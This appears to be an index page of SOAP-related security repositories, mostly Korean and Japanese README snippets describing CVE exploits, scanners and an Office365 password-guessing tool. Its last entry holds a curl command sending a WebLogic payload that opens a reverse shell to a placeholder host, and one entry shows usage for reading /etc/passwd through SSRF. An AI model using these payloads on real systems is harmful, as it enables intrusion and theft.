CVE-2017-8759_-SOAP_WSDL

CVE-2017-8759란 무엇인가 SOAP WSDL에서의 원격 코드 실행 취약점입니다. Microsoft .NET Framework가 신뢰할 수 없는 입력을 처리할 때 원격 코드 실행 취약점이 존재합니다. .NET 프레임워크를 사용하는 소프트웨어에서 이 취약점을 성공적으로 악용한 공격자는 영향을 받는 시스템을 제어할 수 있습니다. 공격자는 프로그램을 설치하거나 데이터를 보기, 변경, 삭제하거나 모든 사용자 권한을 가진 새 계정을 만들 수 있습니다. 시스템에서 더 적은 사용자 권한을 갖도록 구성된 계정을 가진 사용자는 관리자...

CVE-2022-46364-Poc

CVE-2022-46364 익스플로잇 MTOM XOP:Include를 통한 Apache CXF SSRF | CVSS 9.8 CRITICAL 취약점 Apache CXF -s -d -t, --target - 취약한 CXF SOAP 엔드포인트 필수 -s, --ssrf-url - 내부 URL 데이터 유출 대상 필수 -d, --domain - 대상 도메인 기본값: localhost --plain-soap - MTOM 대신 일반 SOAP 사용 예제 Read /etc/passwd python3 exploit.py -t...

CVE-2025-59287-PoC

CVE-2025-59287 / CVE-2023-35317 PoC CVE-2025-59287 내부: WSUS의 SoapFormatter RCE: https://shellcode.blog/wsus-cve-2025-59287-investigation/ 이 소프트웨어는 순수하게 학술 연구와 효과적인 방어 기법 개발을 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용할 의도가 없습니다. 프로젝트 유지관리자는 이 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하세요. 사용법 필수 플래그...

Apache OFBiz < 17.12.07 - Arbitrary Code Execution

Apache OFBiz has unsafe deserialization prior to 17.12.07 version An unauthenticated user can perform an RCE attack id: CVE-2021-29200 info: name: Apache OFBiz 17.12.07 - Arbitrary Code Execution author: your3cho severity: critical description: | Apache OFBiz has unsafe deserialization prior to...

MantisBT < 2.28.1 - SOAP API Authentication Bypass

Mantis Bug Tracker 2.28.1 on MySQL databases contains an authentication bypass caused by improper type checking on the password parameter in the SOAP API, letting attackers login without the actual password using a crafted SOAP envelope, exploit requires knowing the victim's username. id:...

Journyx - XML External Entities Injection (XXE)

The "soapcgi.pyc" API handler allows the XML body of SOAP requests to contain references to external entities. This allows an unauthenticated attacker to read local files, perform server-side request forgery, and overwhelm the web server resources. id: CVE-2024-6893 info: name: Journyx - XML...

N-able N-central - Authentication Bypass

An authentication bypass in N-central 2026.3 HF 3 leads to authentication bypass in internal-only APIs. id: CVE-2026-86207 info: name: N-able N-central - Authentication Bypass author: rapid7,DhiyaneshDk severity: critical description: | An authentication bypass in N-central 2026.3 HF 3 leads to...

api-scanner-docker

API Scanner - セルフホストデプロイメント API Scanner は、OpenAPI/Swagger 仕様書と WSDL ファイルを使用して REST および SOAP API の脆弱性をスキャンする、自動化された API セキュリティテストツールです。 前提条件 Docker Engine 20.10+ Docker Compose v2 Python 3.6+（セットアップスクリプト用） 8 GB 以上の RAM（推奨: 16 GB） 20 GB のディスク容量 クイックスタート 1. このリポジトリをクローン git clone...

kyocera-cve-2022-1026

kyocera-cve-2022-1026 Kyocera 프린터에서 인증 없이 데이터를 추출할 수 있는 취약점으로, 평문 주소록과 도메인 가입 비밀번호를 복구할 수 있습니다. 취약점 개요 2021년 펜테스트를 진행하던 중, 저는 프린터를 원격으로 관리하는 데 사용되는 Kyocera의 thick client 애플리케이션을 살펴보고 있었습니다. 애플리케이션의 트래픽을 프록시하는 과정에서 Kyocera의 SOAP API포트 9091/TCP가 민감한 작업을 수행할 때 인증을 제대로 처리하지 않는다는 사실을 발견했습니다. Kyocera...

CNVD-C-2019-48814-CNNVD-201904-961

CNVD-C-2019-48814 및 CNNVD-201904-961 t00ls-ximcx0101님께서 스크립트를 제공해 주셔서 감사합니다. CNVD-C-2019-48814 POC 요약 관련 링크는 다음과 같습니다: 청수천치清水川崎 님의 간서简书: https://www.jianshu.com/p/c4982a845f55 안전조사安全祖师爷 님의 전재: https://dwz.cn/2GQvbUae 환경 요인으로 인해 경로가 변경될 수 있습니다: 기본 업로드 경로:...

cve-2023-20198-poc-cisco

CVE-2023-20198-poc CVE-2023-20198은 Cisco IOS XE 소프트웨어 Web UI 기능의 심각한 취약점으로, 인증되지 않은 원격 공격자가 영향을 받는 시스템에 권한 수준 15의 계정을 생성하여 장치를 완전히 제어할 수 있게 합니다. 해당 취약점은 주로 Web UI 기능의 경로 분석 처리 부적절로 인해 발생합니다. 공격자는 정교하게 조작된 HTTP 요청을 통해 이중 URL 인코딩을 사용하여 Nginx의 경로 필터링 메커니즘을 우회하고, /webuiwsmahttp와 같은 보호된 내부 엔드포인트에 직접...

WS-Attacker

WS-Attacker WS-Attacker는 웹 서비스 침투 테스트를 위한 모듈형 프레임워크입니다. Ruhr University Bochum의 네트워크 및 데이터 보안 연구실Chair of Network and Data Security, https://nds.rub.de/과 Hackmanit GmbHhttps://hackmanit.de/가 개발했습니다. WS-Attacker의 기본 아이디어는 WSDL 파일을 로드하고 SOAP 메시지를 웹 서비스 엔드포인트로 전송하는 기능기본 SoapUI 프레임워크를 사용하여 실행됨을 제공하는...

WSSAT

WSSAT - 웹 서비스 보안 평가 도구 WSSAT는 구성 파일을 편집하여 취약점을 추가, 업데이트 또는 삭제할 수 있는 동적 환경을 제공하는 오픈 소스 웹 서비스 보안 스캐닝 도구입니다. 이 도구는 WSDL 주소 목록을 입력 파일로 받아 각 서비스에 대해 보안 취약점에 대한 정적 및 동적 테스트를 모두 수행합니다. 또한 정보 노출 제어도 수행합니다. 이 도구를 통해 모든 웹 서비스를 한 번에 분석하고 조직 전체의 보안 평가를 확인할 수 있습니다. WSSAT의 목표는 조직이 다음을 할 수 있도록 하는 것입니다: 한 번에 웹 서...

Go365

Go365 v2.0 AWS 게이트웨이 문제 수정 h0useh3ad 님 감사합니다! 프록시 서버 연결 실패 시 더 이상 종료되지 않음 graph 엔드포인트 추가 Go365를 사용하기 전에 이 README를 모두 읽어주세요! Go365는 Office365현재/곧 Microsoft365를 사용하는 조직에 대해 사용자 열거 및 비밀번호 추측 공격을 수행하도록 설계된 도구입니다. Go365는 대부분의 다른 도구가 사용하지 않는 login.microsoftonline.com의 고유한 SOAP API 엔드포인트를 사용합니다. 이메일 주소와...

CVE-2020-28413_Mantis2.24.3-SQLi-SOAP

このリポジトリには README がありません。...

omigod

CVE-2021-38647: Omigod Go로 빠르고 대충 작성된 Omigod를 위한 또 다른 익스플로잇입니다. 이 익스플로잇은 다음을 사용하고 기반으로 합니다: wiz의 연구: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure midoxnet의 SOAP 페이로드: https://github.com/midoxnet/CVE-2021-38647 horizon3ai의 Python 개념 증명:...

Oracle-Weblogic-Server-AsyncResponseService-Deserialization-Remote-Code-Execution-CVE-2019-2725

CVE-2019-2725 – Oracle WebLogic 무인증 원격 코드 실행 Oracle Fusion Middleware의 Oracle WebLogic Server 구성 요소하위 구성 요소: Web Services의 취약점입니다. 영향을 받는 지원 버전은 10.3.6.0.0 및 12.1.3.0.0입니다. 쉽게 악용할 수 있는 이 취약점으로 인해 HTTP를 통한 네트워크 접근 권한이 있는 무인증 공격자가 Oracle WebLogic Server를 손상시킬 수 있습니다. 취약점 개요 CVE ID: CVE-2019-2725 심각...

CVE-2024-28752

Apache CXF CVE-2024-28752 재현 환경 취약점 공지: https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt 환경 시작 samples/javafirstjaxwsfactorybean IDEA ServerStarter.java를 통해 웹서비스 시작 빌드 JDK8 사용 mvn clean package java -jar target/cxf.jar 취약점 악용 BurpSuite를 사용하여 다음 요청을 보내면 트리거됩니다. POST /test HTTP/1....

refreshing-soap-exploit

이것은 CVE-2022-41622에 대한 개념 증명PoC으로, F5 Big-IP의 CSRF 취약점으로 원격 코드 실행으로 이어집니다. 사용하기가 다소 까다롭지만, 제가 가장 좋아하는 사용 사례를 안내해 드리겠습니다. 취약점 핵심 취약점은 F5 Big-IP의 SOAP 인터페이스에서 발생하는 사이트 간 요청 위조CSRF입니다. 이 인터페이스는 /iControl/iControlPortal.cgi를 통해 접근되며, root 권한으로 실행됩니다. 하지만 root임에도 불구하고 SELinux 정책에 의해 제한되어 익스플로잇이 어렵습니다...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 CVE-2019-2725용 간단한 익스플로잇. 예제 코드: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import socket,subprocess,os;s=socket.socketsocket.AFINET,socket.SOCKSTREAM;s.connect"MYIP",MYPORT;os.dup2s.fileno,0;...